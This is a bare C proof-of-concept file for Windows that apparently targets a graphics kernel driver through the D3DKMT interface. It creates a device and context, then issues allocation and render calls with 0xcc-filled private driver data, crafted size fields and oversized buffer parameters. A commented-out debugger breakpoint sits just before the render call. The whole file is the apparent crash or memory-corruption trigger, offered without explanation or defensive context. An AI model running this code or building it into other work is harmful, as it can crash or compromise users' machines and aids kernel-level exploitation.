#include "stdafx.h"

#include <Windows.h>
#include <d3dkmthk.h>

int main()
{
	int x = 0;
	D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
	D3DKMTEnumAdapters(&enumAdapter);

	D3DKMT_CREATEDEVICE deviceAry[10] = { 0 };

	deviceAry[0].hAdapter = enumAdapter.Adapters[1].hAdapter;
	D3DKMTCreateDevice(&deviceAry[0]);

	D3DKMT_CREATECONTEXT context = { 0 };
	context.hDevice = deviceAry[0].hDevice;
	context.NodeOrdinal = 0x1;
	char data[0x200] = { 0 };
	memset(data, 0xcc, 0x200);
	context.PrivateDriverDataSize = 0x200;
	context.pPrivateDriverData = data;
	D3DKMTCreateContext(&context);

	D3DKMT_CREATEALLOCATION allocation = { 0 };
	allocation.hDevice = deviceAry[0].hDevice;
	char runtimedata[0x200] = { 0 };
	memset(runtimedata, 0xcc, 0x200);
	allocation.hResource = NULL;
	allocation.NumAllocations = 1;
	D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
	allocationInfo.pSystemMem = runtimedata;
	allocationInfo.VidPnSourceId = 0;
	allocationInfo.Flags.OverridePriority = 1;
	allocationInfo.PrivateDriverDataSize = 0x60;
	char privateData[0x60] = { 0 };
	memset(privateData, 0xcc, 0x60);
	*(DWORD*)(privateData + 4) = 0x6fffff;
	*(DWORD*)(privateData + 8) = 0x6fffff;
	*(DWORD*)(privateData + 0xc) = 0x700;
	if ((*(DWORD*)(privateData + 0) == 1) || ((*(DWORD*)(privateData + 0x58) & 0x10000) != 0))
	{
		*(DWORD*)(privateData + 8) = 0x1;
		*(DWORD*)(privateData + 0xc) = 0x1;
	}
	if (*(DWORD*)(privateData + 0x18) == 0)
	{
		*(DWORD*)(privateData + 0x18) = 0x1;
	}
	if (((privateData[0x58] & 0x1) == 0) && ((privateData[0x58] & 0x10) != 0))
	{
		privateData[0x58] = 0x1;
	}
	allocationInfo.pPrivateDriverData = privateData;
	allocation.pAllocationInfo2 = &allocationInfo;
	allocation.Flags.CreateResource = 1;
	allocation.Flags.CreateShared = 1;
	D3DKMTCreateAllocation(&allocation);


	D3DKMT_RENDER render = { 0 };
	render.hDevice = deviceAry[0].hDevice;
	render.hContext = context.hContext;
	render.AllocationCount = 0x10;
	render.CommandOffset = 0x10;
	render.CommandLength = 0;
	render.NewAllocationListSize = 0x20;
	render.NewCommandBufferSize = 0x2000;
	render.NewPatchLocationListSize = 0x20;
	render.Flags.ResizeAllocationList = 1;
	render.Flags.ResizeCommandBuffer = 1;
	render.Flags.ResizePatchLocationList = 1;
	//	__asm int 3
	int xx = D3DKMTRender(&render);
	system("pause");


    return 0;
}

